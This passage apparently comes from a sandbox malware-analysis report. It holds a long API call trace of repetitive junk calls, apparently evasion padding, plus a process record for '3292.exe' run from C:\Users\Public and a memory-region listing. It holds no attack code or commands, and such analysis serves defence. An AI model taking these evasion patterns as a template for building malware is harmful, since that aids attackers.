(in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="1A28P") returned 5 [0030.290] SetLastError (dwErrCode=0x57) [0030.290] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.290] GetLastError () returned 0x57 [0030.290] GetLastError () returned 0x57 [0030.290] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.290] GetLastError () returned 0x57 [0030.290] GetLastError () returned 0x57 [0030.290] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0030.290] SetLastError (dwErrCode=0x57) [0030.290] GetCurrentProcess () returned 0xffffffff [0030.290] GetLastError () returned 0x57 [0030.290] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="1AE4P") returned 5 [0030.290] SetLastError (dwErrCode=0x57) [0030.291] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="1AE5P") returned 5 [0030.291] SetLastError (dwErrCode=0x57) [0030.291] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="1AE6P") returned 5 [0030.291] SetLastError (dwErrCode=0x57) [0030.291] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.291] GetLastError () returned 0x57 [0030.291] lstrlenA (lpString="just string") returned 11 [0030.291] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.291] GetLastError () returned 0x57 [0030.291] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.291] GetLastError () returned 0x57 [0030.291] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.291] GetLastError () returned 0x57 [0030.291] GetLastError () returned 0x57 [0030.291] lstrcmpA (lpString1="\x18\x87y", lpString2="luck") returned -1 [0030.291] SetLastError (dwErrCode=0x57) [0030.291] GetCurrentProcess () returned 0xffffffff [0030.291] GetLastError () returned 0x57 [0030.291] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="1B70P") returned 5 [0030.291] SetLastError (dwErrCode=0x57) [0030.291] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="1B71P") returned 5 [0030.291] SetLastError (dwErrCode=0x57) [0030.291] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="1B72P") returned 5 [0030.291] SetLastError (dwErrCode=0x57) [0030.291] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.291] GetLastError () returned 0x57 [0030.291] lstrlenA (lpString="just string") returned 11 [0030.291] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.291] GetLastError () returned 0x57 [0030.291] GetLastError () returned 0x57 [0030.291] lstrcmpA (lpString1="\x18\x87y", lpString2="luck") returned -1 [0030.291] SetLastError (dwErrCode=0x57) [0030.291] GetCurrentProcess () returned 0xffffffff [0030.291] GetLastError () returned 0x57 [0030.291] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="1BB6P") returned 5 [0030.291] SetLastError (dwErrCode=0x57) [0030.291] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="1BB7P") returned 5 [0030.291] SetLastError (dwErrCode=0x57) [0030.291] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="1BB8P") returned 5 [0030.291] SetLastError (dwErrCode=0x57) [0030.291] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.291] GetLastError () returned 0x57 [0030.292] GetLastError () returned 0x57 [0030.292] lstrcmpA (lpString1="\x18\x87y", lpString2="luck") returned -1 [0030.292] SetLastError (dwErrCode=0x57) [0030.292] GetCurrentProcess () returned 0xffffffff [0030.292] GetLastError () returned 0x57 [0030.292] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="1BCAP") returned 5 [0030.292] SetLastError (dwErrCode=0x57) [0030.292] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="1BCBP") returned 5 [0030.292] SetLastError (dwErrCode=0x57) [0030.292] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="1BCCP") returned 5 [0030.292] SetLastError (dwErrCode=0x57) [0030.292] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.292] GetLastError () returned 0x57 [0030.292] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.292] GetLastError () returned 0x57 [0030.292] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.292] GetLastError () returned 0x57 [0030.292] lstrlenA (lpString="just string") returned 11 [0030.292] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.292] GetLastError () returned 0x57 [0030.292] GetLastError () returned 0x57 [0030.292] lstrlenA (lpString="just string") returned 11 [0030.292] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.292] GetLastError () returned 0x57 [0030.292] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.292] GetLastError () returned 0x57 [0030.292] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.292] GetLastError () returned 0x57 [0030.292] GetLastError () returned 0x57 [0030.292] lstrcmpA (lpString1="\x18\x87y", lpString2="luck") returned -1 [0030.292] SetLastError (dwErrCode=0x57) [0030.292] GetCurrentProcess () returned 0xffffffff [0030.292] GetLastError () returned 0x57 [0030.292] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="1C7EP") returned 5 [0030.292] SetLastError (dwErrCode=0x57) [0030.292] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="1C7FP") returned 5 [0030.292] SetLastError (dwErrCode=0x57) [0030.292] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="1C80P") returned 5 [0030.292] SetLastError (dwErrCode=0x57) [0030.292] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.292] GetLastError () returned 0x57 [0030.292] GetLastError () returned 0x57 [0030.292] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0030.293] SetLastError (dwErrCode=0x57) [0030.293] GetCurrentProcess () returned 0xffffffff [0030.293] GetLastError () returned 0x57 [0030.293] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="1C88P") returned 5 [0030.293] SetLastError (dwErrCode=0x57) [0030.293] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="1C89P") returned 5 [0030.293] SetLastError (dwErrCode=0x57) [0030.293] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="1C8AP") returned 5 [0030.293] SetLastError (dwErrCode=0x57) [0030.293] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.293] GetLastError () returned 0x57 [0030.293] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.293] GetLastError () returned 0x57 [0030.293] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.293] GetLastError () returned 0x57 [0030.293] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.293] GetLastError () returned 0x57 [0030.293] GetLastError () returned 0x57 [0030.293] lstrcmpA (lpString1="\x18\x87y", lpString2="luck") returned -1 [0030.293] SetLastError (dwErrCode=0x57) [0030.293] GetCurrentProcess () returned 0xffffffff [0030.293] GetLastError () returned 0x57 [0030.293] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="1D6EP") returned 5 [0030.293] SetLastError (dwErrCode=0x57) [0030.293] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="1D6FP") returned 5 [0030.293] SetLastError (dwErrCode=0x57) [0030.293] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="1D70P") returned 5 [0030.293] SetLastError (dwErrCode=0x57) [0030.293] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.293] GetLastError () returned 0x57 [0030.293] GetCurrentProcess () returned 0xffffffff [0030.293] GetLastError () returned 0x57 [0030.293] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="1DABP") returned 5 [0030.293] SetLastError (dwErrCode=0x57) [0030.293] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="1DACP") returned 5 [0030.293] SetLastError (dwErrCode=0x57) [0030.293] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.293] GetLastError () returned 0x57 [0030.293] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.293] GetLastError () returned 0x57 [0030.293] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.293] GetLastError () returned 0x57 [0030.293] GetCurrentProcess () returned 0xffffffff [0030.293] GetLastError () returned 0x57 [0030.294] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="1DE7P") returned 5 [0030.294] SetLastError (dwErrCode=0x57) [0030.294] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="1DE8P") returned 5 [0030.294] SetLastError (dwErrCode=0x57) [0030.294] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.294] GetLastError () returned 0x57 [0030.294] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.294] GetLastError () returned 0x57 [0030.294] GetLastError () returned 0x57 [0030.294] GetCurrentProcess () returned 0xffffffff [0030.294] GetLastError () returned 0x57 [0030.294] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="1E55P") returned 5 [0030.294] SetLastError (dwErrCode=0x57) [0030.294] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="1E56P") returned 5 [0030.294] SetLastError (dwErrCode=0x57) [0030.294] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.294] GetLastError () returned 0x57 [0030.294] lstrlenA (lpString="just string") returned 11 [0030.294] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.294] GetLastError () returned 0x57 [0030.294] GetLastError () returned 0x57 [0030.294] lstrcmpA (lpString1="\x18\x87y", lpString2="luck") returned -1 [0030.294] SetLastError (dwErrCode=0x57) [0030.294] GetCurrentProcess () returned 0xffffffff [0030.294] GetLastError () returned 0x57 [0030.294] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="1E90P") returned 5 [0030.294] SetLastError (dwErrCode=0x57) [0030.294] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="1E91P") returned 5 [0030.294] SetLastError (dwErrCode=0x57) [0030.294] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="1E92P") returned 5 [0030.294] SetLastError (dwErrCode=0x57) [0030.294] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.294] GetLastError () returned 0x57 [0030.294] GetCurrentProcess () returned 0xffffffff [0030.294] GetLastError () returned 0x57 [0030.294] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="1E9BP") returned 5 [0030.294] SetLastError (dwErrCode=0x57) [0030.294] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="1E9CP") returned 5 [0030.294] SetLastError (dwErrCode=0x57) [0030.294] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.294] GetLastError () returned 0x57 [0030.294] GetLastError () returned 0x57 [0030.294] GetLastError () returned 0x57 [0030.294] GetLastError () returned 0x57 [0030.294] lstrcmpA (lpString1="\x18\x87y", lpString2="luck") returned -1 [0030.295] SetLastError (dwErrCode=0x57) [0030.295] GetCurrentProcess () returned 0xffffffff [0030.295] GetLastError () returned 0x57 [0030.295] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="1F08P") returned 5 [0030.295] SetLastError (dwErrCode=0x57) [0030.295] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="1F09P") returned 5 [0030.295] SetLastError (dwErrCode=0x57) [0030.295] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="1F0AP") returned 5 [0030.295] SetLastError (dwErrCode=0x57) [0030.295] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.295] GetLastError () returned 0x57 [0030.295] GetCurrentProcess () returned 0xffffffff [0030.295] GetLastError () returned 0x57 [0030.295] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="1F27P") returned 5 [0030.295] SetLastError (dwErrCode=0x57) [0030.295] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="1F28P") returned 5 [0030.295] SetLastError (dwErrCode=0x57) [0030.295] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.295] GetLastError () returned 0x57 [0030.295] GetLastError () returned 0x57 [0030.295] lstrcmpA (lpString1="\x18\x87y", lpString2="luck") returned -1 [0030.295] SetLastError (dwErrCode=0x57) [0030.295] GetCurrentProcess () returned 0xffffffff [0030.295] GetLastError () returned 0x57 [0030.295] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="1F4EP") returned 5 [0030.295] SetLastError (dwErrCode=0x57) [0030.295] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="1F4FP") returned 5 [0030.295] SetLastError (dwErrCode=0x57) [0030.295] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="1F50P") returned 5 [0030.295] SetLastError (dwErrCode=0x57) [0030.295] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.295] GetLastError () returned 0x57 [0030.295] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.295] GetLastError () returned 0x57 [0030.295] GetLastError () returned 0x57 [0030.295] lstrcmpA (lpString1="\x18\x87y", lpString2="luck") returned -1 [0030.295] SetLastError (dwErrCode=0x57) [0030.295] GetCurrentProcess () returned 0xffffffff [0030.295] GetLastError () returned 0x57 [0030.295] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="2002P") returned 5 [0030.295] SetLastError (dwErrCode=0x57) [0030.295] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="2003P") returned 5 [0030.295] SetLastError (dwErrCode=0x57) [0030.296] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="2004P") returned 5 [0030.296] SetLastError (dwErrCode=0x57) [0030.296] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.296] GetLastError () returned 0x57 [0030.296] GetLastError () returned 0x57 [0030.296] lstrcmpA (lpString1="\x18\x87y", lpString2="luck") returned -1 [0030.296] SetLastError (dwErrCode=0x57) [0030.296] GetCurrentProcess () returned 0xffffffff [0030.296] GetLastError () returned 0x57 [0030.296] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="202AP") returned 5 [0030.296] SetLastError (dwErrCode=0x57) [0030.296] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="202BP") returned 5 [0030.296] SetLastError (dwErrCode=0x57) [0030.296] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="202CP") returned 5 [0030.296] SetLastError (dwErrCode=0x57) [0030.296] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.296] GetLastError () returned 0x57 [0030.296] GetLastError () returned 0x57 [0030.296] lstrcmpA (lpString1="\x18\x87y", lpString2="luck") returned -1 [0030.296] SetLastError (dwErrCode=0x57) [0030.296] GetCurrentProcess () returned 0xffffffff [0030.296] GetLastError () returned 0x57 [0030.296] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="2070P") returned 5 [0030.296] SetLastError (dwErrCode=0x57) [0030.296] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="2071P") returned 5 [0030.296] SetLastError (dwErrCode=0x57) [0030.296] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="2072P") returned 5 [0030.296] SetLastError (dwErrCode=0x57) [0030.296] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.296] GetLastError () returned 0x57 [0030.296] GetLastError () returned 0x57 [0030.296] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="2090P") returned 5 [0030.296] SetLastError (dwErrCode=0x57) [0030.296] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.296] GetLastError () returned 0x57 [0030.296] GetLastError () returned 0x57 [0030.296] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="20AEP") returned 5 [0030.296] SetLastError (dwErrCode=0x57) [0030.296] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.296] GetLastError () returned 0x57 [0030.296] GetCurrentProcess () returned 0xffffffff [0030.296] GetLastError () returned 0x57 [0030.296] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="20E9P") returned 5 [0030.296] SetLastError (dwErrCode=0x57) [0030.296] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="20EAP") returned 5 [0030.297] SetLastError (dwErrCode=0x57) [0030.297] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.297] GetLastError () returned 0x57 [0030.297] GetLastError () returned 0x57 [0030.297] lstrcmpA (lpString1="\x18\x87y", lpString2="luck") returned -1 [0030.297] SetLastError (dwErrCode=0x57) [0030.297] GetCurrentProcess () returned 0xffffffff [0030.297] GetLastError () returned 0x57 [0030.297] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="211AP") returned 5 [0030.297] SetLastError (dwErrCode=0x57) [0030.297] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="211BP") returned 5 [0030.297] SetLastError (dwErrCode=0x57) [0030.297] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="211CP") returned 5 [0030.297] SetLastError (dwErrCode=0x57) [0030.297] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.297] GetLastError () returned 0x57 [0030.297] GetCurrentProcess () returned 0xffffffff [0030.297] GetLastError () returned 0x57 [0030.297] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="2125P") returned 5 [0030.297] SetLastError (dwErrCode=0x57) [0030.297] wsprintfA (in: param_1=0x45fb7b, param_2="%X%P" | out: param_1="2126P") returned 5 [0030.297] SetLastError (dwErrCode=0x57) [0030.297] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.297] GetLastError () returned 0x57 [0030.297] GetLastError () returned 0x57 [0030.297] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.297] GetLastError () returned 0x57 [0030.297] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.297] GetLastError () returned 0x57 [0030.297] GetLastError () returned 0x57 [0030.297] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0030.297] SetLastError (dwErrCode=0x57) [0030.297] GetCurrentProcess () returned 0xffffffff [0030.297] GetLastError () returned 0x57 [0030.297] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.297] GetLastError () returned 0x57 [0030.297] GetLastError () returned 0x57 [0030.297] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.297] GetLastError () returned 0x57 [0030.297] GetLastError () returned 0x57 [0030.297] lstrcmpA (lpString1="\x18\x87y", lpString2="luck") returned -1 [0030.298] SetLastError (dwErrCode=0x57) [0030.298] GetCurrentProcess () returned 0xffffffff [0030.298] GetLastError () returned 0x57 [0030.298] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.298] GetLastError () returned 0x57 [0030.298] lstrlenA (lpString="just string") returned 11 [0030.298] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.298] GetLastError () returned 0x57 [0030.298] GetLastError () returned 0x57 [0030.298] GetLastError () returned 0x57 [0030.298] GetLastError () returned 0x57 [0030.298] lstrcmpA (lpString1="\x18\x87y", lpString2="luck") returned -1 [0030.298] SetLastError (dwErrCode=0x57) [0030.298] GetCurrentProcess () returned 0xffffffff [0030.298] GetLastError () returned 0x57 [0030.298] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.298] GetLastError () returned 0x57 [0030.298] GetCurrentProcess () returned 0xffffffff [0030.298] GetLastError () returned 0x57 [0030.298] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.298] GetLastError () returned 0x57 [0030.298] GetLastError () returned 0x57 [0030.298] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.298] GetLastError () returned 0x57 [0030.298] GetLastError () returned 0x57 [0030.298] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.298] GetLastError () returned 0x57 [0030.298] GetCurrentProcess () returned 0xffffffff [0030.298] GetLastError () returned 0x57 [0030.298] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.298] GetLastError () returned 0x57 [0030.298] GetLastError () returned 0x57 [0030.298] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0030.298] SetLastError (dwErrCode=0x57) [0030.298] GetCurrentProcess () returned 0xffffffff [0030.298] GetLastError () returned 0x57 [0030.298] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.298] GetLastError () returned 0x57 [0030.298] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.298] GetLastError () returned 0x57 [0030.298] GetCurrentProcess () returned 0xffffffff [0030.298] GetLastError () returned 0x57 [0030.298] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.298] GetLastError () returned 0x57 [0030.298] GetLastError () returned 0x57 [0030.298] GetLastError () returned 0x57 [0030.298] GetCurrentProcess () returned 0xffffffff [0030.299] GetLastError () returned 0x57 [0030.299] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.299] GetLastError () returned 0x57 [0030.299] GetLastError () returned 0x57 [0030.299] lstrcmpA (lpString1="\x18\x87y", lpString2="luck") returned -1 [0030.299] SetLastError (dwErrCode=0x57) [0030.299] GetCurrentProcess () returned 0xffffffff [0030.299] GetLastError () returned 0x57 [0030.299] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.299] GetLastError () returned 0x57 [0030.299] GetLastError () returned 0x57 [0030.299] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.299] GetLastError () returned 0x57 [0030.299] lstrlenA (lpString="just string") returned 11 [0030.299] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.299] GetLastError () returned 0x57 [0030.299] GetCurrentProcess () returned 0xffffffff [0030.299] GetLastError () returned 0x57 [0030.299] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.299] GetLastError () returned 0x57 [0030.299] lstrlenA (lpString="just string") returned 11 [0030.299] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.299] GetLastError () returned 0x57 [0030.299] GetLastError () returned 0x57 [0030.299] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0030.299] SetLastError (dwErrCode=0x57) [0030.299] GetCurrentProcess () returned 0xffffffff [0030.299] GetLastError () returned 0x57 [0030.299] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.299] GetLastError () returned 0x57 [0030.299] GetLastError () returned 0x57 [0030.299] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.299] GetLastError () returned 0x57 [0030.299] GetLastError () returned 0x57 [0030.299] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.299] GetLastError () returned 0x57 [0030.299] GetLastError () returned 0x57 [0030.299] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.299] GetLastError () returned 0x57 [0030.299] GetLastError () returned 0x57 [0030.299] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.299] lstrcmpA (lpString1="\x18\x87y", lpString2="luck") returned -1 [0030.299] SetLastError (dwErrCode=0x57) [0030.299] GetCurrentProcess () returned 0xffffffff [0030.300] GetLastError () returned 0x57 [0030.300] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.300] lstrcmpA (lpString1="\x18\x87y", lpString2="luck") returned -1 [0030.300] SetLastError (dwErrCode=0x57) [0030.300] GetCurrentProcess () returned 0xffffffff [0030.300] GetLastError () returned 0x57 [0030.300] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.300] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.300] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.300] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.300] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.300] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.300] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.300] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.300] lstrcmpA (lpString1="\x18\x87y", lpString2="luck") returned -1 [0030.300] SetLastError (dwErrCode=0x57) [0030.300] GetCurrentProcess () returned 0xffffffff [0030.300] GetLastError () returned 0x57 [0030.300] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.300] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.300] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0030.300] SetLastError (dwErrCode=0x57) [0030.300] GetCurrentProcess () returned 0xffffffff [0030.300] GetLastError () returned 0x57 [0030.300] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.300] lstrcmpA (lpString1="\x18\x87y", lpString2="luck") returned -1 [0030.300] SetLastError (dwErrCode=0x57) [0030.300] GetCurrentProcess () returned 0xffffffff [0030.300] GetLastError () returned 0x57 [0030.300] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.300] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.300] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0030.300] SetLastError (dwErrCode=0x57) [0030.301] GetCurrentProcess () returned 0xffffffff [0030.301] GetLastError () returned 0x57 [0030.301] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.301] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.301] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.301] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.301] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.301] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0030.301] SetLastError (dwErrCode=0x57) [0030.301] GetCurrentProcess () returned 0xffffffff [0030.301] GetLastError () returned 0x57 [0030.301] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.301] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.301] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.301] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.301] lstrcmpA (lpString1="\x18\x87y", lpString2="luck") returned -1 [0030.301] SetLastError (dwErrCode=0x57) [0030.301] GetCurrentProcess () returned 0xffffffff [0030.301] GetLastError () returned 0x57 [0030.301] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.301] lstrcmpA (lpString1="\x18\x87y", lpString2="luck") returned -1 [0030.301] SetLastError (dwErrCode=0x57) [0030.301] GetCurrentProcess () returned 0xffffffff [0030.301] GetLastError () returned 0x57 [0030.301] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.301] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.301] lstrcmpA (lpString1="\x18\x87y", lpString2="luck") returned -1 [0030.301] SetLastError (dwErrCode=0x57) [0030.301] GetCurrentProcess () returned 0xffffffff [0030.301] GetLastError () returned 0x57 [0030.301] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0030.301] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.426] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0032.783] CloseHandle (hObject=0xd8) returned 1 [0032.783] CloseHandle (hObject=0xd4) returned 1 [0032.783] CloseHandle (hObject=0xcc) returned 1 [0032.783] CloseHandle (hObject=0xd0) returned 1 [0032.783] ExitProcess (uExitCode=0x0) Process: id = "5" image_name = "3292.exe" filename = "c:\\users\\public\\3292.exe" page_root = "0x4160a000" os_pid = "0xb44" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "4" os_parent_pid = "0xb2c" cmd_line = "\"C:\\Users\\Public\\3292.exe\"" cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:00010636" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1144 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1145 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1146 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1147 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 1148 start_va = 0x60000 end_va = 0x61fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 1149 start_va = 0x230000 end_va = 0x26ffff entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 1150 start_va = 0x2c0000 end_va = 0x3bffff entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 1151 start_va = 0xbe0000 end_va = 0xbfefff entry_point = 0xbe18a0 region_type = mapped_file name = "3292.exe" filename = "\\Users\\Public\\3292.exe" (normalized: "c:\\users\\public\\3292.exe") Region: id = 1152 start_va = 0x77090000 end_va = 0x77238fff entry_point = 0x77090000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1153 start_va = 0x77270000 end_va = 0x773effff entry_point = 0x77270000 region_type = mapped_file name = "ntdll.dll" filename = 